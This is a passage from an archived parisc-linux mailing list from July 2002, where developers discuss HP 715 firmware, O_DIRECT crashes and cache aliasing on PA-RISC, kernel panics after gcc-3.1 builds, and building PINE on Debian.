NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: Igor Grinchenko <green@grinchenko.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 18:10:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B6644858
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 18:10:26 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 9E954A0020D; Sun, 14 Jul 2002 20:10:25 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 4F6C337FA7; Sun, 14 Jul 2002 18:10:25 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 111CE4401; Sun, 14 Jul 2002 18:10:25 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id BCA0737E97; Sun, 14 Jul 2002 18:10:24 -0600 (MDT)
In-Reply-To: Your message of "Sun, 14 Jul 2002 13:13:11 PDT."
             <20020714201311.GA175@igor.grinchenko.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15461

Igor Grinchenko writes...

> HEllo everyone,
> 
> does anybody on that list have an old Firmware patch for 715/33?
> 1.6 doesn't seem to support 715/33 so I think 1.4 is what I need.
> HP calles it PF_C7X50014, but I can't download it from their website, b/c
> it was substituted by 1.6(which doesn't support 33)

The 715/old (aka 33,50,75) are not user upgradable, you'd have to swap
the firmware chip. The version you're talking about above(1.6, 1.4) are
for the 715/new (aka 64,80,100). And as someone(ggg?) recently pointed
out these don't work for the 715/100XC either.

Since your system isn't user upgradable, you have the same firmware as
everyone else. So you can bet any generic problem encountered will either
be worked around in software or broken for everyone :)

-- 
Matt Taggart
taggart@fc.hp.com


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] O_DIRECT on devices
Date: Mon, 15 Jul 2002 03:46:32 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020715034632.E27706@parcelfarce.linux.theplanet.co.uk>
References: <20020711082259.GF822@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621510 10798 80.91.229.3 (22 Nov 2014 01:58:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 14 20:46:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E54E1485B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 14 Jul 2002 20:46:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17Tvse-0003MO-00
	for parisc-linux@lists.parisc-linux.org; Mon, 15 Jul 2002 03:46:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020711082259.GF822@tykepenguin.com>; from patrick@tykepenguin.com on Thu, Jul 11, 2002 at 09:22:59AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15462

On Thu, Jul 11, 2002 at 09:22:59AM +0100, Patrick Caulfield wrote:
> This works fine on Alpha & Intel but seems very unreliable on parisc for some
> reason. Sometimes it works, sometimes it oopses "do_page_fault() pid=2120
> command='lvm' type=15 address=0x00000001" and sometimes I just get back the
> wrong information (at least LVM thinks its wrong I haven't check in detail just
> what is up with it).

pid 2120 did a NULL pointer dereference ... you should be able to trace
it with the IAOQ, perhaps.  I'm not sure whether anyone's really played
with the O_DIRECT code yet, it could well be buggy on PA.  What you're
seeing sounds like bogus cache behaviour.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 09:03:19 +0200 (CEST)
Lines: 72
Approved: news@gmane.org
Message-ID: <1026716599.3d3273b741097@webmail.tiscalinet.be>
References: <20020712073628.GB8838@tausq.org> <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be> <20020712150139.GC8838@tausq.org> <1026491023.3d2f028f991a1@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621510 10800 80.91.229.3 (22 Nov 2014 01:58:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:30 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 01:04:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F67C4852
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 01:04:21 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Tzt9-0006QD-00; Mon, 15 Jul 2002 09:03:19 +0200
In-Reply-To: <1026491023.3d2f028f991a1@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15463

Hi Randolph,

I am not so luky as you are:
The kernel compiles well and also boot well but always the same problem (in
addition to modules problems) as soon as I do an network connection with ssh the
system crash:
(I just note on the sti console)
sshd (pid 322): illegal instruction (code 8)
...
kernel panic...

Humm I try to boot from serial consol but there the behaviour is not quiet the same:
the system always panic but this time only a long list of:
Warning! stack pointer and cr30 do not correspond!
Dumping virtual address stack instead
Dumping satck from ... to ...:
....
(no stop or very very long?)

Well a last test (after I have to unplug replug power cable) at the serial
console : 
jso@palinux:~$ ssh localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is ..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:...
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
jso@localhost's password: 

and the system also crashes (whithout any messages?).

So may I believe that the problems come first from ip stack itself and not from
ethernet driver?

Hmm I am also curious to test your .config file?

Joel

Quoting joel.soete@freebel.net:

> Quoting Randolph Chung <randolph@tausq.org>:
> 
> > > PS: Can you do a telnet or an ssh connection when this kernel is
> > running? IIRC
> > > as well as gcc-3.1 as gcc-3.2, I always reach well to build and
> boot
> > kernels
> > > (without kdb) but the system crashes as soon as you try to connect
> it
> > via the
> > > network.
> > 
> > yes, i can ssh into the box.
> > 
> Great news, I am impatient to also test it :)
> 
> Thanks a lot,
>     Joel
> 
> 
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Mon, 15 Jul 2002 09:24:32 +0200 (CEST)
Lines: 77
Approved: news@gmane.org
Message-ID: <1026717872.3d3278b080023@webmail.tiscalinet.be>
References: <20020712073628.GB8838@tausq.org> <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be> <20020712150139.GC8838@tausq.org> <1026491023.3d2f028f991a1@webmail.tiscalinet.be> <1026716599.3d3273b741097@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621510 10803 80.91.229.3 (22 Nov 2014 01:58:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:30 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>, joel.soete@freebel.net,
	parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 01:26:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0BE04868
	for <parisc-linux@parisc-linux.org>; Mon, 15 Jul 2002 01:25:59 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17U0Dg-0002OU-00; Mon, 15 Jul 2002 09:24:32 +0200
In-Reply-To: <1026716599.3d3273b741097@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15464

Quoting joel.soete@freebel.net:

> Hi Randolph,
> 
> I am not so luky as you are:
> The kernel compiles well and also boot well but always the same problem
> (in
> addition to modules problems) as soon as I do an network connection with
> ssh the
> system crash:
> (I just note on the sti console)
> sshd (pid 322): illegal instruction (code 8)
> ...
> kernel panic...
> 
> Humm I try to boot from serial consol but there the behaviour is not
> quiet the same:
> the system always panic but this time only a long list of:
> Warning! stack pointer and cr30 do not correspond!
> Dumping virtual address stack instead
> Dumping satck from ... to ...:
> ....
> (no stop or very very long?)
> 
> Well a last test (after I have to unplug replug power cable) at the
> serial
> console : 
> jso@palinux:~$ ssh localhost
> The authenticity of host 'localhost (127.0.0.1)' can't be established.
> RSA key fingerprint is ..:..:..:..:..:..:..:..:..:..:..:..:..:..:..:...
> Are you sure you want to continue connecting (yes/no)? yes
> Warning: Permanently added 'localhost' (RSA) to the list of known
> hosts.
> jso@localhost's password: 
> 
> and the system also crashes (whithout any messages?).
> 
> So may I believe that the problems come first from ip stack itself and
> not from
> ethernet driver?
> 
> Hmm I am also curious to test your .config file?
> 

How do you build gcc (3.1.1) natively or as crosscompiler (I do the last may be
it is the problem?)?

Joel


> 
> Quoting joel.soete@freebel.net:
> 
> > Quoting Randolph Chung <randolph@tausq.org>:
> > 
> > > > PS: Can you do a telnet or an ssh connection when this kernel is
> > > running? IIRC
> > > > as well as gcc-3.1 as gcc-3.2, I always reach well to build and
> > boot
> > > kernels
> > > > (without kdb) but the system crashes as soon as you try to
> connect
> > it
> > > via the
> > > > network.
> > > 
> > > yes, i can ssh into the box.
> > > 
> > Great news, I am impatient to also test it :)
> > 
> > Thanks a lot,
> >     Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] O_DIRECT on devices
Date: Mon, 15 Jul 2002 01:42:19 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20020715074219.18CD54861@dsl2.external.hp.com>
References: <20020711082259.GF822@tykepenguin.com>  <20020715034632.E27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621511 10805 80.91.229.3 (22 Nov 2014 01:58:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 01:42:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 18CD54861; Mon, 15 Jul 2002 01:42:19 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 15 Jul 2002 03:46:32 BST." <20020715034632.E27706@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15465

Matthew Wilcox wrote:
> What you're seeing sounds like bogus cache behaviour.

Randolph and I think most SMP bugs reported (and we seen ourselves)
suggest a D-cache problem.

My theory is virtual addresses are flushed on one CPU but any data 
accessed through an aliases on another CPU are not flushed. And then
we end up with an inconsistency.

We've been reading Documentation/cachetlb.txt and trying
to understand what it says about virtually indexed caches.

The other thing is we don't hit the problems with PA8500 - only PA8700.
I'm guessing the aliasing or timing is quite different betweem the two.
Maybe someone else knows more?

grant


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] O_DIRECT on devices
Date: Mon, 15 Jul 2002 12:29:19 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20020715122919.F27706@parcelfarce.linux.theplanet.co.uk>
References: <20020711082259.GF822@tykepenguin.com> <20020715034632.E27706@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020715074219.18CD54861@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621511 10807 80.91.229.3 (22 Nov 2014 01:58:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:31 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 05:29:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E60FD4847
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 05:29:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U42Z-0005sG-00; Mon, 15 Jul 2002 12:29:19 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020715074219.18CD54861@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Mon, Jul 15, 2002 at 01:42:19AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15466

On Mon, Jul 15, 2002 at 01:42:19AM -0600, Grant Grundler wrote:
> Randolph and I think most SMP bugs reported (and we seen ourselves)
> suggest a D-cache problem.

Entirely plausible.  PA has bigger virtually indexed caches than anyone
else, so we're more susceptible to cache aliasing bugs than anyone else.
It could be a missing flush somewhere in the arch-independent code.

> My theory is virtual addresses are flushed on one CPU but any data 
> accessed through an aliases on another CPU are not flushed. And then
> we end up with an inconsistency.

it's certainly possible... i don't claim to understand exactly how this
works, but my recollection is that some of the flush instructions are
cpu-local whereas others are global to the system.  you'd have to ask
jsm about it, really.

> We've been reading Documentation/cachetlb.txt and trying
> to understand what it says about virtually indexed caches.

It seems pretty straightforward to me... am I missing something?

> The other thing is we don't hit the problems with PA8500 - only PA8700.
> I'm guessing the aliasing or timing is quite different betweem the two.
> Maybe someone else knows more?

8700 has bigger caches than 8500 and more TLB entries, so it may be
easier to hit problems.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 13:55:50 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20020715135550.H27706@parcelfarce.linux.theplanet.co.uk>
References: <20020714065104.DF333484C@dsl2.external.hp.com> <20020714081241.GC14636@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621511 10810 80.91.229.3 (22 Nov 2014 01:58:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 06:55:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EE7F4853
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 06:55:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U5OI-0007VO-00; Mon, 15 Jul 2002 13:55:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020714081241.GC14636@charite.de>; from Ralf.Hildebrandt@charite.de on Sun, Jul 14, 2002 at 10:12:41AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15467

On Sun, Jul 14, 2002 at 10:12:41AM +0200, Ralf Hildebrandt wrote:
> > ./build lnx and ./build slx don't work
> 
> What is this?
> 
> > there is an error in PINE
> 
> Then report it using
> 
> reportbug pine
> 
> > before compiling pine, I did apt-get dist-upgrade
> 
> You compiled pine? I though you used apt-get?!

pine is `special'.  That's in the sense of `retarded'.  the license
doesn't permit redistribution of modified versions, so debian distributes
(in non-free) the source code and patches.  you then build it yourself.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 14:20:28 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20020715142028.J27706@parcelfarce.linux.theplanet.co.uk>
References: <20020714091619.B1E35483A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621512 10815 80.91.229.3 (22 Nov 2014 01:58:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:32 +0000 (UTC)
Cc: Ralf.Hildebrandt@charite.de, parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:20:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B7D8486A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:20:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17U5m8-00083U-00; Mon, 15 Jul 2002 14:20:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020714091619.B1E35483A@dsl2.external.hp.com>; from stephan@itp.bg on Sun, Jul 14, 2002 at 12:17:46PM +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15468

On Sun, Jul 14, 2002 at 12:17:46PM +0300, Stephan Trajkoff wrote:
> my clients want pine, not mutt

i have to say i think you're a complete lunatic for wanting to support
`clients' on a K class running PA/Linux right now.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI framebuffer and PINE
Date: Mon, 15 Jul 2002 15:24:56 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20020715132456.GP12241@charite.de>
References: <20020714065104.DF333484C@dsl2.external.hp.com> <20020714081241.GC14636@charite.de> <20020715135550.H27706@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621512 10816 80.91.229.3 (22 Nov 2014 01:58:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 15 07:24:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DADA4859
	for <parisc-linux@lists.parisc-linux.org>; Mon, 15 Jul 2002 07:24:59 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id 5A9B815C014
